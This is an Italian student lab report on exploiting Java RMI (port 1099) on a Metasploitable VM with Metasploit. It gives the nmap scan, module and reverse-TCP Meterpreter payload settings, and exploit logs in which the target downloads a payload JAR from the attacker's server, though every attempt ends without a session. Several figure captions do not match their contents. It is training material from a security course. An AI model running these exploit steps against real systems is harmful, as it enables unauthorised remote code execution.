

# REPORT DI EXPLOITATION

Laboratorio di Cybersecurity ed Ethical Hacking

22 maggio 2026

## OBIETTIVO

In questa esercitazione ho sfruttato una **vulnerabilità** nel servizio **Java RMI** (Remote Method Invocation) in ascolto sulla porta **1099** della macchina Metasploitable, usando il framework Metasploit. L'obiettivo era ottenere una sessione Meterpreter sulla macchina remota e raccogliere informazioni sulla configurazione di rete e sulla tabella di routing.

Configurazione del laboratorio:

- **MACCHINA ATTACCANTE (KALI LINUX):** 192.168.11.111
- **MACCHINA VITTIMA (METASPLOITABLE):** 192.168.11.112
- **PORTA TARGET:** 1099/tcp – Java RMI

## SCENARIO DI ATTACCO

**Java RMI** è una tecnologia Java che permette di invocare metodi su oggetti remoti attraverso la rete. Nelle versioni vulnerabili, il server RMI accetta oggetti serializzati da sorgenti non fidate, permettendo l'esecuzione di codice arbitrario. Metasploitable espone un servizio RMI con una configurazione non sicura, che ho sfruttato tramite il modulo:

```
exploit/multi/misc/java_rmi_server
```

## FASI DELL'ESERCITAZIONE

### CONFIGURAZIONE DI RETE DELLE VM

Prima di iniziare ho configurato **manualmente** la rete di **entrambe** le macchine virtuali. Ho **modificato** il file **/etc/network/interfaces** di Kali impostando l'IP statico 192.168.11.111, mentre su Metasploitable ho verificato che l'IP fosse 192.168.11.112, con la stessa subnet e lo stesso gateway (192.168.11.1).

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
    address 192.168.11.112_
    netmask 255.255.255.0
    gateway 192.168.11.1
    dns-nameservers 8.8.8.8 1.1.1.1
```

Fig. 1 – Configurazione di rete Kali Linux (/etc/network/interfaces)

```
GNU nano 8.7.1 /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
    address 192.168.11.111
    netmask 255.255.255.0
    gateway 192.168.11.1
    dns-nameservers 8.8.8.8 1.1.1.1
```

Fig. 2 – Configurazione di rete Metasploitable (/etc/network/interfaces)

## RICOGNIZIONE – SCANSIONE DELLA PORTA 1099

Prima di lanciare l'**exploit** ho eseguito una **scansione** con Nmap per **verificare** che la porta **1099** fosse **aperta** e che il servizio Java RMI fosse attivo e raggiungibile dalla mia macchina.

```
$ nmap -sV -p 1099 192.168.11.112
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-22 04:05 -0400
Nmap scan report for 192.168.11.112
Host is up (0.0065s latency).
PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:A7:6D:40 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.97 seconds
```

Fig. 3 – Nmap: porta 1099 aperta con servizio java-rmi (GNU Classpath grmiregistry)

## RICERCA E SELEZIONE DEL MODULO METASPLOIT

Ho **aperto msfconsole** e ho cercato i moduli **disponibili** per Java RMI con il **comando** **search java\_rmi**. Ho scelto il modulo **exploit/multi/misc/java\_rmi\_server**, classificato con rank **excellent**, che sfrutta la configurazione non sicura del server per eseguire codice Java da remoto.

## CONFIGURAZIONE DEL MODULO E DEL PAYLOAD

Ho configurato tutti i **parametri necessari**: ho impostato **RHOSTS** con l'**IP della vittima** (192.168.11.112), **LHOST** con il mio IP (192.168.11.111) e **LPORT** a 4444 come porta di **ascolto** per la connessione inversa. Come payload ho scelto **java/meterpreter/reverse\_tcp**. Ho anche consultato la lista dei payload compatibili tramite **show payloads**, e verificato la configurazione finale con **show options**.

```
msf exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SRVSSL    | false           | no       | Negotiate SSL/TLS for local server connections                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


```

Fig. 6 – Configurazione del modulo con RHOSTS, LHOST, LPORT e payload

```
msf exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads



| #  | Name                                       | Disclosure Date | Rank   | Check | Description                                                                               |
|----|--------------------------------------------|-----------------|--------|-------|-------------------------------------------------------------------------------------------|
| 0  | payload/cmd/unix/bind_aws_instance_connect | .               | normal | No    | Unix SSH Shell, Bind Instance Connect (via AWS API)                                       |
| 1  | payload/generic/custom                     | .               | normal | No    | Custom Payload                                                                            |
| 2  | payload/generic/shell_bind_aws_ssm         | .               | normal | No    | Command Shell, Bind SSM (via AWS API)                                                     |
| 3  | payload/generic/shell_bind_tcp             | .               | normal | No    | Generic Command Shell, Bind TCP Inline                                                    |
| 4  | payload/generic/shell_reverse_tcp          | .               | normal | No    | Generic Command Shell, Reverse TCP Inline                                                 |
| 5  | payload/generic/ssh/interact               | .               | normal | No    | Interact with Established SSH Connection                                                  |
| 6  | payload/java/jsp_shell_bind_tcp            | .               | normal | No    | Java JSP Command Shell, Bind TCP Inline                                                   |
| 7  | payload/java/jsp_shell_reverse_tcp         | .               | normal | No    | Java JSP Command Shell, Reverse TCP Inline                                                |
| 8  | payload/java/meterpreter/bind_tcp          | .               | normal | No    | Java Meterpreter, Java Bind TCP Stager                                                    |
| 9  | payload/java/meterpreter/reverse_http      | .               | normal | No    | Java Meterpreter, Java Reverse HTTP Stager                                                |
| 10 | payload/java/meterpreter/reverse_https     | .               | normal | No    | Java Meterpreter, Java Reverse HTTPS Stager                                               |
| 11 | payload/java/meterpreter/reverse_tcp       | .               | normal | No    | Java Meterpreter, Java Reverse TCP Stager                                                 |
| 12 | payload/java/shell/bind_tcp                | .               | normal | No    | Command Shell, Java Bind TCP Stager                                                       |
| 13 | payload/java/shell/reverse_tcp             | .               | normal | No    | Command Shell, Java Reverse TCP Stager                                                    |
| 14 | payload/java/shell_reverse_tcp             | .               | normal | No    | Java Command Shell, Reverse TCP Inline                                                    |
| 15 | payload/multi/meterpreter/reverse_http     | .               | normal | No    | Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)  |
| 16 | payload/multi/meterpreter/reverse_https    | .               | normal | No    | Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures) |


```

Fig. 7 – Verifica finale con show options: tutti i parametri configurati correttamente

## PROBLEMI RISCONTRATI E TENTATIVI DI RISOLUZIONE

Durante l'esecuzione dell'exploit ho incontrato diversi problemi che mi hanno impedito di aprire una sessione, nonostante il target rispondesse correttamente alle fasi iniziali dell'attacco, ricevendo l'header RMI, la RMI Call e scaricando il payload JAR.

### PRIMO TENTATIVO – NO SESSION CREATED

Ho lanciato l'exploit con il payload **java/meterpreter/reverse\_tcp** e ho ottenuto il messaggio **"Exploit completed, but no session was created"**. Il target scaricava correttamente il **JAR** ma non riusciva a eseguire il payload e a stabilire la connessione inversa verso Kali.

```

LISTEN 0      256          0.0.0.0:8080  0.0.0.0:*    users:((("ruby",pid=6610,fd=9))
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/96IGe6zhH
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Exploit completed, but no session was created.

```

Fig. 8 – Output del primo tentativo di exploit

```

msf > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -             -      -      -
0  auxiliary/gather/java_rmi_registry        .              normal  No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15     excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  \_ target: Generic (Java Payload)         .              .       .      .
3  \_ target: Windows x86 (Native Payload)   .              .       .      .
4  \_ target: Linux x86 (Native Payload)     .              .       .      .
5  \_ target: Mac OS X PPC (Native Payload)  .              .       .      .
6  \_ target: Mac OS X x86 (Native Payload)  .              .       .      .
7  auxiliary/scanner/misc/java_rmi_server    2011-10-15     normal  No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31     excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

```

Fig. 9 – Primo tentativo: exploit completato senza sessione

## PORTA SRVPORT 8080 GIÀ OCCUPATA

Nel tentativo successivo Metasploit mi ha restituito l'errore `Rex::BindFailed`, segnalando che la porta 8080 era già occupata. Ho usato il comando `ss` per identificare il processo responsabile: era un processo Ruby rimasto attivo da un tentativo precedente (PID 6610). L'ho killato con `kill 6610` e ho riprovato.

```

msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[-] 192.168.11.112:1099 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:8080).
[*] Exploit completed, but no session was created.
msf exploit(multi/misc/java_rmi_server) >

```

Fig. 10 – Errore: porta 8080 già in uso (`Rex::BindFailed`)

## TENTATIVO CON SRVPORT ALTERNATIVA E HTTPDELAY AUMENTATO

Dopo aver liberato la porta ho impostato `SRVPORT` a 9090 e alzato `HTTPDELAY` a 20 secondi, come suggerito nel materiale del corso per evitare timeout durante il download del JAR. Il risultato è stato lo stesso: il JAR veniva scaricato ma nessuna sessione veniva aperta.

```

msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:9090/BWusxSCwqETc
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Exploit completed, but no session was created.
msf exploit(multi/misc/java_rmi_server) >

```

Fig. 12 – Tentativo con `SRVPORT 9090` e `HTTPDELAY 20`: ancora nessuna sessione

## CAMBIO TARGET E PAYLOAD NATIVO LINUX

Per escludere problemi legati al payload Java ho provato a cambiare approccio: ho impostato il target a Linux x86 (Native Payload) e ho usato il payload `linux/x86/meterpreter/reverse_tcp`, che non passa dalla JVM ma esegue codice nativo direttamente. Anche in questo caso il risultato non è cambiato.

```

Module options (exploit/multi/misc/java_rmi_server):


| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SRVSSL    | false           | no       | Negotiate SSL/TLS for local server connections                                                                                                                                                      |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:


| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

```

Fig. 13 – Configurazione con target Linux x86 e payload nativo

```

msf exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):


| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SRVSSL    | false           | no       | Negotiate SSL/TLS for local server connections                                                                                                                                                      |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (linux/x86/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:


| Id | Name                       |
|----|----------------------------|
| 2  | Linux x86 (Native Payload) |


```

Fig. 14 – Show options con target Linux x86

```

msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/0EkeQ3sIyxs9G
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Exploit completed, but no session was created.
msf exploit(multi/misc/java_rmi_server) >

```

Fig. 15 – Risultato invariato anche con payload nativo Linux

## TENTATIVO CON SHELL E UPGRADE A METERPRETER

Come ultimo tentativo ho provato un approccio in due fasi: ottenere prima una **shell semplice** con il payload `java/shell/reverse_tcp`, per poi fare l'upgrade a Meterpreter tramite il modulo `post/multi/manage/shell_to_meterpreter`. Anche questa strada non ha portato a **nulla**, con lo stesso identico comportamento di exploit completato senza sessione.

## CONCLUSIONI

Con questa esercitazione ho approfondito il funzionamento del servizio Java RMI e il relativo vettore di attacco tramite **Metasploit**. Nonostante il target rispondesse correttamente a tutte le fasi dell'exploit, nessuno dei tentativi ha prodotto una sessione attiva.

Parlando con i colleghi ho scoperto che loro hanno ottenuto la sessione seguendo esattamente gli stessi passaggi, e ha confermato che il problema non era mio ma legato alla configurazione specifica della mia VM **Metasploitable**. La rete **funzionava**, la porta era **aperta**, il **JAR** veniva **scaricato**, ma qualcosa nella **JVM** o nel servizio **RMI** impediva l'**esecuzione** del **payload** una volta ricevuto.